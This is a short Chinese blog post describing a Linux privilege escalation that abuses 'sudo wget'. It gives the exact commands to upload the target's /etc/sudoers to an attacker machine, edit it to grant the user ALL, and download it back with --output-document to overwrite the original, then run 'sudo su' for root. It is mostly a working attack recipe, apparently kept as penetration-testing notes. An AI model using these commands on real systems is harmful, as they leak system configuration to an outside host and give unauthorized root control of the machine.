wget的特殊提权方法(若是在GTFOBins上搜到的方法失效用这个)

 

特别地,有时在目标机上使用GTFOBins搜到的方法失效,这里记录一下wget的特殊提权方法

 

原理:

  wget有两个选项:

  --post-flie可以传送文件

  --output-document可以将下载的文件另存为(即可以覆盖原文件)

 

方法:

1.先将目标机上etc文件夹下的sudoers上传到本地机上

sudo wget --post-file=etc/sudoers {my_ip}
my_ip为本地机ip

 

2.然后在本地机上修改修改sudoers文件,找到目标机用户名所在位置,把ROOT或NONE全修改为ALL。

例子:
jhinjax ALL=(ALL:ALL) ALL

 

 

3.修改完后在目标机上用wget获取本地机上的sudoers文件,通过--output可以直接覆盖目标机上原来的sudoers文件,即达到强行修改用户权限的方法。

sudo wget {my_ip:myports/../../sudoers} --output-document=/etc/sudoers
myports为本地机上开放的端口

 

最后

sudo su

即可为目标机上的root

  

posted @ 2023-01-16 14:52  野荷  阅读(254)  评论(0)    收藏  举报